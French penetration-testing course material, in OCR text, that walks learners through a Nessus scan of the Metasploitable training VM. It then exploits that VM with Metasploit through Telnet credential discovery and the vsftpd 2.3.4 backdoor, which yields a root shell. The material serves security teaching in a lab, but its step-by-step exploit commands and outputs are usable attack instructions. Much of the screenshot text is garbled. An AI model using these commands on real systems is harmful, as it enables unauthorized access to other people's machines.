Pour visualiser les vulnérabilités identifiés, il suffit de sélectionner Vulnérabilités. Selon le résultat illustré dans la figure ci-dessous, 72 vulnérabilités ont été identifiées
dans la machine Metasploitable. Il est possible de sélectionner les vulnérabilités une par une pour avoir plus de détails sur chaque vulnérabilités.

A
Hosts 1 I Vulnerabilities 72 I Remadiaions 4 VPR Top Threats O History 1
Filter = T2 Wulr
Sey - Scare + MName . Famnily . Count - Scan Details
m 0 Rind Shedl Backdoor Detection Backdoors 1 Policy: Advanced Scan
STatus Complated
BN oo wFsexported Share Information Disdesure RPC 1 Severily Bases CVS5v2.0
Scanner: Local Scanner
EXD o0 resecdService Detecion Senvice detection 1 Star Today at 12:08 PM
End: Today at 1227 PM
m L0 Unix Operating System Unsuppaned version Dete..  Gereral 1 Elapsed: 18 minutes
m 0.0 UneealiRCA Backdoor Detectian Backdoors 1 Vulnerabilities
| crmca | 0.0 WHC Server passward’ Password Gain a shell remiately 1 » ®  Critical
# High
E3 1 SEL (Multiple 155085) Gain a shell remolely 3 * Modum
Liow
< * Info
B 75 rlogin Service Detection Service desection 1
Ll
—_——
[ IEEl 5 rshsenvice Detecion Senvice desection
< 5 I5C Bind [Multiple 5sses) DS 5
m 7 S50 (Multiphe 1550e5) Serdicl detEction 3
m 3 Apache Tomcat [Multiple 1ssues) Wah Sarvers 3 4
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Pour visualiser les risques identifiés, il suffit de sélectionner VPR TOP THREATS. Selon le résultat illustré dans la figure ci-dessous, 10 risques ont été identifiés pour la

machine Metasploitable

Assessed Threat Level: Critheal

Thee fallowing vidrerabilities are ranked by Tenatble™s patented Vulnerability Priority Ratirg

(WPR) mystem, The findings listed below detail the top ten vulnerabilities, providing &

priomtzed vier to help guide remadiation to effecively reduce nsk

dick on each finding to show further details along with the impacted hosts.

T learn mcee abaut TenakHle’s VPR sooring Systerm, See Predictive Prioriization,
VPR Severity  Mame Reasons VPR Score «
I  ApacheTomeat AP Connector Reguest Injection (Ghosteat) Social Media Mainsream Medi.. 9.6
m Debean OpensSHOpensSl Package Random Mumbser Generator Weakness o recorded events 14
| HiEH | Detbsan OpenSSHAOpenSSL Package Random Mumber Generator Weaknes... o recorded events T4
EEER  UrreallRCd Backdoor Detection he: racorded events 7.4
=0 Samiza Badlock Vulmerability o recorded events 67
= SMTF Service STARTTLS Flaintext Command Injection o racorded events 6.3
) revecd Servica Detection Mo racorded events 59
= ricgan Servce Detection Mo recorded events 59
m rsh Service Detection W recorded events 5.8
IS wFs Expored Share infonmation Disclosure Mo recorder events 5.9

Hosts

Scan Details

PI:||I:_:.'

Siatus:
Sarperity Base;
Scannen
Start:

En:

Elapzed:

Advanced Scan
Completed
CWs5¥2.0

Local Scannar
Today at 12:0E FM
Today at 12=27 PM
19 manutes
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Etape 2 : Identification des vulnérabilités

Il est également possible de générer des rapports d’examen de risques et de vulnérabilités en cliquant sur le bouton Report.

Generate Report

Report Format: HTML @& FOF sV
Select a Report Template:

» | Template Description:
Conplete List of ulnerabilites by | ;ZEEE ?;zh;s;s-l a summary list of vulnerabilities for each host
Detailed Vulnerahilities By Host -
Detadled Vulnerabilities By Plugin
‘fulnerability Operations

Filters Applied-
MNane

Formatting Options:

» Indude page brea ks between vauinerabl iy nesuks

<
—
-
<
o

Generate Repaort Cancel Save as default
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EXPLOITATION DES FAILLES RELATIVES AU
PROTOCOLE TELNET

Compétences visées :

Exploiter certaines failles identifiées pour mener des
scénarios d’attaques

Recommandations clés :

Maitriser le principe du test d’intrusion
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CONSIGNES

Pour le formateur

Lapprenant doit étre capable d’utiliser la console msfconsole de Kali Linux ainsi que
le rapport de vulnérabilité généré par Nessus pour mener une attaque de sécurité
visant la machine victime Metasploitable qui exploite une vulnérabilité précise
(vulnérabilité relatif au protocole Telnet dans cette activité)

Pour I'apprenant

Il est recommandé de maitriser les notions de base de test d’intrusion et connaitre
les attaques de sécurités ainsi que les failles de sécurité les plus courantes

Il est également recommandé de suivre les étapes décrites dans I'énoncé

Il faut utiliser les commandes fournies dans l'activité

Conditions de réalisation :

VirtualBox installé
Deux machines Virtuelles : Kali Linux 2022.1 et Metasploitable

Activité 1 réalisée avec succes

Criteres de réussite :

Découvrir avec succes les identifiants d’acces a une machine victime

Avoir un acces privilégié a la machine victime
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* Lobjectif de cette activité est d’exploiter 'une des vulnérabilités identifiée précédemment avec Nessus.

* Dans cette activité, nous adressons les vulnérabilités relatifs au protocole Telnet. En examinant le rapport générée par Nessus, nous pouvons remarquer qu’une
vulnérabilité relatif au protocole Telnet est classée comme risque moyen avec une valeur 5.8 comme illustré dans la figure ci-dessous.

m 5.8 Unencrypted Telnet Server Misc. 1 @ s

* En examinant les détails de cette vulnérabilité, nous pouvons noter que la vulnérabilité est que « L'hote distant exécute un serveur Telnet sur un canal non chiffré »

* En effet, |'utilisation de Telnet sur un canal non crypté n'est pas recommandée car les identifiants, les mots de passe et les commandes sont transférés en texte
clair. Cela permet a un attaquant distant d'espionner une session Telnet pour obtenir des informations d'identification ou d'autres informations sensibles.

BTl unencrypted Telnet server Plugin Details
Deseription ey erity: P edium
The remose hass 5 nnneng a Telnet server over an unencrypted channel o didad
Wersion 114
Using Telret ower am unencrypted channel & not recammended as loging, paiswards, and commands are trantferned in cleartext. This allows & Type: remnte
remiate, man-in-the-middle stiacker to eswesdrop on & Teinet sexsion to abtain credentals or ather senstive information and to modify traffic Famity: Misc.
d exchanged between a client and senver, Pubils hed: Bctober 17, 2004
W o . " 7 N
— 55H is preferred over Telmet since it protects credenbals from eavesdropping and can turnel additional data strearms such as an K11 session. el s Juune: 12, 2020
m Salrtion Risk Infarmation
< [zable the Telnet service and use 55H instesd.
m Risk Factor: Medium

* Par conséquent, l'objectif est d’exploiter cette vulnérabilité pour identifier les informations d’identification et obtenir par la suite un acces privilégié a ce systéme.
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Exploitation des failles relatives au protocole Telnet

* Pour exploiter la vulnérabilité telnet, il suffit de réaliser les taches suivantes :

Lancez Metasploit on Kali en exécutant la commande sudo msfconsole ;

Vérifiez I'existence du module d’exploitation de telnet en exécutant dans la console msfconsole la commande : search telnet_version ;
Utilisez I'exploit identifié en exécutant dans la console msf la commande suivante : use auxiliary/scanner/telnet/telnet_version ;

Essayez d'identifier les options d’exploitations disponibles a I'aide de la commande suivante : show options ;

LA

Nous pouvons remarquer que RHOSTS est vide, nous devons donc définir I'adresse IP cible (c'est-a-dire I'adresse IP de I'h6te victime qui est dans cet exemple
192.168.1.8) pour permettre |'analyse de la version telnet. Pour ce faire, tapez la commande :set RHOST @IP_victim ;

6. Exécutez maintenant le scanner telnet a 'aide de la commande run;

7. Déterminez les informations d’identification a partir du résultat du scan.

*  Pour bénéficier d’un acces privilégié, essayez de vous connecter a la machine victime via le service ssh en utilisant le login et le mot de passe découverts.
8. Exécutez dans le terminal Kali la commande suivante : sudo ssh login@IP_victim ;
9. Ayant un acces privilégiés a la machine victime, essayez d’exécuter certaines commandes tel que :

* ifconfig

<
—
-
<
o

® uUname -a
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1. Cette figure illustre le lancement de la console msfconsole dans le terminal Kali

wake p, Neo...
the matrix has you
follow the white rabbit.

knock, knock, Neo.

(/metasploit.com

<
—
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2. Cette figure illustre I'exécution de la commande search telnet_version. Le résultat fourni montre la possibilité de I'utilisation du module

irch telnet_version

Matching Modules

U ET =]

auxiliary/scanner/telnet/telnet_version

Disclosure Date Rank Check

Description

Lantronix De

Telnet

No
No

normal

Telnet
normal i

'vice Banner
vice ¢

ction

anner/telnet/telnet_version

Module options (auxilia

Name Current ting Required

<
—
-
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THREADS
TIMEOUT
USERNAME

scanner/telne

show options

t/telnet_version):

Description

The
The
The t pol |

The num of concurrent threads (max one per host)
Timeout for the Telnet probe

The username to authenticate as

password for the specified username
; github.com/rapid?/metasploit-framework/wiki/Using-Metasploit

w

EBFO‘RCE .

pE THE CHAMNGE
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Cette figure illustre I'exploitation de la vulnérabilité en exécutant les commandes set RHOSTS 192.168.1.8 et run. Le résultat obtenu est la découverte des informations
d’identification de la machine victime qui sont : login = msfadmin et mot de passe = msfadmin

) > set RHOSTS
)} > run

TELNET _
“/

VM to an unti

Scanned 1 of 1 hosts (1@ complete)

ecution completed
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Correction
Pour se connecter a la machine victime il suffit d’exécuter la commande Tapez ensuite les commandes ifconfig et uname -a dont les résultats prouvent
sudo ssh msfadmin@192.168.1.8 et fournir comme mot de passe que vous avez un acces privilégié a la machine Metasploitable

msfadmin

Fadmi al ethd
msfadmin@l ; eth
authentici of host .8 (192.168.

RSA key fi nt is SHA256: CiOLuVv

This host ¢ is known by the following other nam

- cnown_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
1se type 'yes', 'mo' or the fingerprint:
1in Perm y added '192
msfadmingl 5 sword:
Linux meta -16-server #1 :
Link enca
inet addr:
ineté add

Ubuntu comes with ABSOLUTELY NO WARRANTY, e exte ermitted by

. collisions
applicable law. cotrision

iX bytes:

To access official Ubuntu documentatiom, please wvisit: msfadmin@metasploitable:- .
http help.ubuntu.com/ Linux metasploitabl 6-se #1 SMP Thu Apr 1@ C GNU/Linux
No mail. F i .
Last login: Thu Mar 24 vulnerable
msfadmin@metasploitable: ~ msfadmingmetasploitable:~$ exit
logout
Connection to 192.16 closed.

<
—
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EXPLOITATION DES FAILLES RELATIVES AU
PROTOCOLE FTP

Compétences visées :

Exploiter certaines failles identifiées pour mener des
scénarios d’attaques

Recommandations clés :

Maitriser le principe du test d’intrusion
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Pour le formateur

Lapprenant doit étre capable d’utiliser la console msfconsole de Kali Linux ainsi que
le rapport de vulnérabilités généré par Nessus pour mener une attaque de sécurité
visant la machine victime Metasploitable qui exploite une vulnérabilité précise
(vulnérabilité relative au protocole FTP dans cette activité)

Pour I'apprenant

Il est recommandée de maitriser les notions de base de test d’intrusion et connaitre
les attaques de sécurités ainsi que les failles de sécurités les plus courantes

Il est également recommandé de suivre les étapes décrites dans 'énoncé

[l faut utiliser les commandes fournies dans l'activité

Conditions de réalisation :

VirtualBox installé
Deux machines Virtuelles : Kali Linux 2022.1 et Metasploitable

Activité 1 réalisée avec succes

Criteres de réussite :

Configurer et installer un backdoor dans la machine victime avec succés

Obtenir un acceés privilégié a la machine victime
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Exploitation des failles relatives au protocole FTP

* Lobjectif de cette activité est d’exploiter 'une des vulnérabilités identifiées dans l'activité 1 avec Nessus.

* Dans cette activité, nous adressons une parmi les vulnérabilités relatives au protocole FTP. En examinant le rapport générez par Nessus, nous pouvons remarquer
gu’une vulnérabilité relative au protocole FTP est identifiée comme illustré dans la figure ci-dessous.

- 2z FTP{Multiple lssues) Service detection 3

* En examinant les détails de cette vulnérabilité, nous pouvons noter que la vulnérabilité est que «ll est possible d'obtenir la banniére du serveur FTP distant en se
connectant a un port distant »

* La vulnérabilité consiste a la présence d’un backdoor (une porte dérobée) malveillant qui a été ajouté au téléchargement VSFTPD archiver (vsftpd-2.3.4.tar.gz)

IS FTF server Detection Plugin Detalls
Description Severity. o
it15 possible 1o obtain the banner of the remate FTP senwer by connecing 1o & refmooe por e LLBIER
Version: 1.56
Type: remate
d Output Famihy Sernce detection
Ll o — ED Published: Ocrober 12, 1939
The semote FIF bamnes iz :
[ Maodified: November 22, 20015
I— 230 (vafTFd 3,2.4}
< Port « Hesis Risk Information
n- Hiwpifp 192.168.1.8 Risk Factor: Kone
EFRL N

* Par conséquent, l'objectif est d’exploiter cette vulnérabilité pour bénéficier d’un acces privilégiés au systéme victime.
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Exploitation des failles relatives au protocole FTP

* Pour exploiter la vulnérabilité identifiée précédemment, il suffit de réaliser les taches suivantes :

1.
2.
3.
4,
5.

<
—
-
<
o

Lancez Metasploit on Kali en exécutant la commande sudo msfconsole ;

Vérifiez 'existence du module d’exploitation de VSFTPD en exécutant dans la console msfconsole la commande : search vsftpd ;
Utilisez I'exploit identifié en exécutant dans la console msf la commande suivante : use exploit/unix/ftp/vsftpd_234_backdoor ;
Essayez d'identifier les options d’exploitations disponibles a I'aide de la commande suivante : show options ;

Nous pouvons remarquer que RHOSTS est vide, nous devons donc définir I'adresse IP cible (c'est-a-dire I'adresse IP de I'h6te victime qui est dans cet exemple
192.168.1.8). Pour ce faire, tapez la commande : set RHOST @IP_victim ;

Affichez les modules liés aux types de payloads en exécutant la commande suivante : show payloads ;
* Un payload est un code qui s'exécutera aprés s'étre introduit dans la machine victime, par exemple pour avoir acces aun shell distant.

A partir des options affichées, nous pouvons remarquer que nous ne pouvons définir que le payload du module cmd/unix/interact, comme suit : set payload
cmd/unix/interact ;

Apres avoir configuré votre backdoor, vous pouvez I'exploiter a I'aide de la commande suivante : exploit

En exploitant le backdoor, vous obtenez un accés privilégié a I'hote victime et recevez un shell de commande a distance. Pour obtenir plus d'informations sur
I'hote victime, essayez de taper les commandes suivantes :

° uname -a

e  whoami
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1. Cette figure illustre le lancement de la console msfconsole dans le terminal Kali

METASPLOIT

EXPLOIT
msf >

RECON
PAYLOAD

[

—= z auxiliary - 400 post
= a 45 ocders - 1@ nops
—-I

<
—
-
<
o

Metasploit tip: View a module's description using
, or the enhanced version in your browser
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Cette figure illustre I'exécution de la commande search vsftpd. Le résultat fournit montre la possibilité de I'utilisation du module /unix/ftp/vsftpd_234_backdoor. Elle
illustre également I'exécution des use exploit/unix/ftp/vsftpd_234_backdoor et show options.

msf6 > search vsftpd

Matching Modules

# Name Disclosure Date Rank Check Description

® exploit/unix/ftp/Msftpd 234 backdoor 2011-07-03 ¢ ellent No VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example inf TN lliise exploit/unix/ftp/vsftpd_234_ backdoor

>
> use exploit/unix/ftp/vsftpd_234_backdoor

<
—
-
<
o
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Cette figure illustre 'exécution des commandes use exploit/unix/ftp/vsftpd_234_backdoor et show options.

msfé > use exploit/unix/ftp/vs 234 backdoor
ad configured, def ing to cmd/unix/interact
msfé exploit( } > show options

Module options (exploit/unix/ftp/vs 234 backdoor):

Name Current Setting Required Description

RHOSTS WE The tar
b.com/1
i/Using-Metasploit
RPORT 21 Ve The target port (TCP)

Payload options (cmd/unix/interact):

Mame Current Setting Required Description

Exploit target:

Id MName

<
—
-
<
o

Automatic
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Cette figure illustre I'exécution des commandes set RHOST 192.168.1.8 et show payloads. Le résultat obtenu montre la possibilité d’utilisation du payload
/cmd/unix/interact

msfE& exploit( ) = set RHOST 192.168.1.
RHOST = 192.168.1.1
msf6 exploit( )} » show payloads

Compatible Payloads

Name Disclosure Date Rank Check Description

payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection

Cette figure illustre la configuration du payload déterminé en exécutant la commande set payload /cmd/unix/interact et son exploitation en exécutant la commande
exploit. Le résultat obtenu est un acces privilégié a la machine victime.

exploit(
ad = cmd/unix/interact

Banner: 228 (vsFTPd 2.3.4)

USER: 1 Please specify the password.
Backdoor service has been spawned, handling ...
UID: uid=8(rocot) gid=0(root)

<
—
-
<
o




Activité 3 KO WEBFORCE »

] ()IPPI gE THE CHAMGE
Correction S

Correction

Cette figure illustre I'exécution des commandes uname —a ,whoami, et ifconfig dont les résultats prouvent que vous avez un acces privilégié a la machine Metasploitable

Command shell session 1 opened (192.168.1.7:39869 — 192.168.1.1 p ) at 32 L 3:12:34 -0400

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:
whoami
root
ifconfig
ethd Link encap:Eth
inet addr:192.
inetb addr: fdaf
inet6 addr: fe
: RUNNING MULTICAS = Metric:1
@ dropped:@ runs:8 f
d erruns:@

addr:1
inet6 addr:
UFI . £
X pac = "OT dropped:
( : ; r dropped:@ overruns:® car
col
RX bytes: (621.3 KB) X bytes:é 3 (621.3 KB)

<
—
-
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?.168.1.8 - Command shell session 1 closed.
exploit( N |




